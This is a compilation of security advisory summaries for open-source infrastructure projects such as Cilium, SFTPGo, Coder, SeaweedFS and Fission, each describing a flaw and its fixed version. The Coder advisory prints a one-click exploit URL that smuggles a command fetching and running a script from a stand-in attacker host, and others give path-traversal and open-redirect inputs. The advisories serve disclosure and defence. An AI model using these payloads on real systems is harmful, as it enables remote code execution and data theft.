Cilium versions prior to 1.17.14, 1.18.8, and 1.19.2 are vulnerable to sensitive information disclosure and cluster disruption due to local access to the Envoy admin socket. When L7 functionality is enabled, Envoy creates a world-accessible socket on cluster nodes, allowing a local attacker to access admin endpoints. This can expose TLS secrets, disrupt cluster traffic, or terminate the Envoy process. The vulnerability affects both embedded and standalone Envoy deployments. No workaround is currently known, but patches are available in Cilium versions 1.17.14, 1.18.8, and 1.19.2.
Contour versions 1.23.0 through 1.33.4 have a vulnerability where enabling fallback TLS certificates on virtual hosts with JWT providers configured allows requests without valid TLS SNI to bypass JWT verification. This misconfiguration results in unauthenticated requests being proxied to upstream services. The issue is fixed in version 1.33.5, which rejects invalid configurations combining fallback certificates and JWT providers.
Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4, manager/router/router.go registers GET /api/v1/oauth and GET /api/v1/oauth/:id without jwt.MiddlewareFunc() or RBAC(), while manager/handlers/oauth.go returns models.Oauth records and manager/models/oauth.go exposes Oauth.ClientSecret as client_secret in JSON. When an administrator has configured a GitHub or Google OAuth provider, an unauthenticated network client can reach GetOauth or GetOauths, load the stored models.Oauth record, and obtain the provider's client secret, client identifier, and redirect URL. The earlier GHSA-j8hf-cp34-g4j7 remediation protected the /jobs group only and did not protect these OAuth GET handlers. Disclosure of client_secret can enable abuse of the configured identity-provider integration, subject to the provider's redirect URI restrictions. This issue is fixed in 2.4.4.
Algernon web server versions prior to 1.17.9 running on Windows with NTFS are vulnerable to a server-side script source code disclosure. This occurs because Algernon's file extension detection does not recognize Windows NTFS alternate data stream suffixes or trailing dot/space filename variants as script files, causing it to serve the raw script source instead of executing it. An unauthenticated attacker can exploit this to retrieve sensitive embedded secrets such as database credentials and session cookie secrets from publicly accessible server-side scripts.
SFTPGo versions 2.2.0 up to but not including 2.7.3 have a stored cross-site scripting (XSS) vulnerability via an inline query parameter on public shares and authenticated user file downloads. This flaw allows an attacker to serve HTML files as active content in the SFTPGo web origin by suppressing the Content-Disposition: attachment header. Exploitation requires the attacker to place a crafted file and convince a victim to open a malicious link, which is not generated by the WebClient, making social engineering necessary. The vulnerability is rated low severity due to constrained exploitation conditions and HttpOnly session cookies preventing cookie theft. The issue is fixed in version 2.7.3 by removing the inline parameter and enforcing Content-Disposition: attachment on affected endpoints.
CVE-2026-49244 is a path confinement bypass vulnerability in SFTPGo versions 2.2.0 up to but not including 2.7.3. It affects the public web-client endpoint for partial ZIP downloads of browsable shares, allowing an attacker with access to a public share to read files outside the intended shared directory if the target file's canonical path begins with the shared directory's name. This vulnerability was fixed in version 2.7.3 by improving the directory boundary check.
# Command injection via dotfiles URI parameter combined with workspace auto-creation
## Summary
The `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.
## Details
### Command injection in the dotfiles module (root cause)
The [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`.
### Auto-creation amplification (`mode=auto`)
The Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
```
https://<deployment>/templates/<template>/workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com
```
## Impact
Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.
## Patches
### coder/registry (primary fix)
Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source.
- https://github.com/coder/registry/pull/703
### coder/coder (defense-in-depth)
A consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector.
- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011))
- Patched releases:
- [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR)
- [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline)
### Recognition
We'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy
A vulnerability in the Kerberos Hub upload path of the github.com/kerberos-io/agent/machinery component causes the agent's private key to be leaked when the configured Hub URI issues a cross-host HTTP redirect. The HTTP client used does not strip the custom header containing the private key on redirects, exposing this sensitive credential to unintended third parties.
Fiber is an Express inspired web framework written in Go. Prior to 3.3.0 and 2.52.14, the BalancerForward proxy helper in middleware/proxy/proxy.go uses Header.Add() instead of Header.Set() when injecting X-Real-IP, allowing an attacker-supplied first X-Real-IP value to be forwarded to upstream servers for logging, rate limiting, and access control. This issue is fixed in version 3.3.0 and 2.52.14.
The goshs package (version 2.0.9 and earlier) contains a race condition in its share-link token redemption logic. The flaw allows concurrent requests to bypass the intended download limit on shared files, enabling multiple downloads of a supposedly single-use share link. This occurs because the download count is incremented only after serving the file, allowing multiple goroutines to read the same download count before it is updated. The issue is fixed in version 2.1.0.
The goshs WebDAV listener in versions up to 2.0.9 ignores the mode-restriction flags --read-only, --upload-only, and --no-delete on its WebDAV port. This allows authenticated WebDAV clients to perform unauthorized file operations such as PUT, DELETE, MKCOL, MOVE, and COPY despite operator intent to restrict these actions.
ORAS Go versions prior to 2.6.1 forward registry credentials to unintended HTTP origins during registry redirects or blob upload location redirects. This causes credentials configured for one registry origin to be sent to a different host or port, potentially exposing sensitive authentication data. The issue affects manifest and metadata requests as well as blob upload flows. The vulnerability does not enable remote code execution or arbitrary token theft but results in credential exposure across origin boundaries.
CVE-2026-54908 is a medium severity vulnerability in the pion dtls library that causes a remote denial of service. The issue arises from an out-of-bounds read leading to a panic when parsing a specially crafted ECDHE_PSK ServerKeyExchange message. There is no workaround available; users must upgrade to version 3.1.4 or later to remediate this issue.
SeaweedFS is a distributed storage system for object storage (S3), file systems, and Iceberg tables. Prior to 4.30, the S3 API gateway and the Iceberg REST catalog gateway construct their routers with mux.NewRouter().SkipClean(true). With path cleaning disabled, a .. segment inside the URL survives routing, so a request such as `GET /bucket-A/../evil-bucket/key`, is matched as bucket=bucket-A, object=../evil-bucket/key. The captured object key is then joined into a filer path with util.JoinPath (S3) / path.Join (Iceberg), which collapse the .. server-side, so the actual read or write lands in evil-bucket. This vulnerability is fixed in 4.30.
Fulcio versions prior to 1.8.6 contain multiple vulnerabilities in the OIDC Discovery client that allow blind SSRF via cross-host redirects, JWKS substitution leading to cache poisoning, and leakage of Kubernetes ServiceAccount tokens to unauthorized hosts. These issues arise from the client following HTTP redirects across hosts and improperly attaching authentication tokens to requests. The vulnerabilities have been addressed in version 1.8.6 by blocking cross-host redirects, restricting token injection to exact host matches, and limiting local token loading to the Kubernetes API server endpoint.
Probo's saferedirect package had an open redirect vulnerability due to improper validation of redirect URLs. The validator only checked the second character of relative paths, allowing URLs like '/../\evil.com' to bypass validation. Go's http.Redirect normalizes such paths, and browsers interpret the backslash as a host separator, enabling redirection to external domains. This flaw could be exploited for phishing by redirecting users from trusted Probo domains to malicious sites. The issue is fixed in probod v0.204.0 and later. SaaS deployments are already patched, but self-hosted users must upgrade. No practical workaround exists for self-hosted installations.
A security vulnerability in Fission's Environment CRD allows bypassing PodSpec hardening controls by exploiting the standalone Runtime.Container and Builder.Container SecurityContext fields. This flaw permits creation of privileged pods or containers with dangerous capabilities, potentially enabling container escape and cluster compromise. The issue arises because validation and sanitization functions do not cover these standalone container fields, allowing attackers with Environment create/update RBAC to escalate privileges. The vulnerability is fixed in Fission version 1.24.0.
Fission builder pods prior to version 1.24.0 automatically mounted the fission-builder ServiceAccount token into user-supplied builder containers. This allowed code running in these containers to inherit the fission-builder identity, which has namespace-wide read access to Secrets and ConfigMaps in the builder namespace. The vulnerability enables subjects with create or update permissions on Environment CRDs to read all Secrets and ConfigMaps in the builder namespace. The issue was fixed in version 1.24.0 by disabling automatic token mounting on the user builder container and restricting token access to a dedicated fetcher sidecar.
Fission's Environment Custom Resource Definition (CRD) allowed users with create/update permissions to specify pod specifications that could enable privileged pods with host network, host PID, and other sensitive capabilities. This flaw enabled potential node escape and full node compromise. The vulnerability was fixed in Fission version 1.24.0 by adding admission denylist checks and sanitizing pod specs during merge. Prior to this fix, Kubernetes Pod Security Admission did not prevent these privileged pod creations due to missing enforcement labels on relevant namespaces.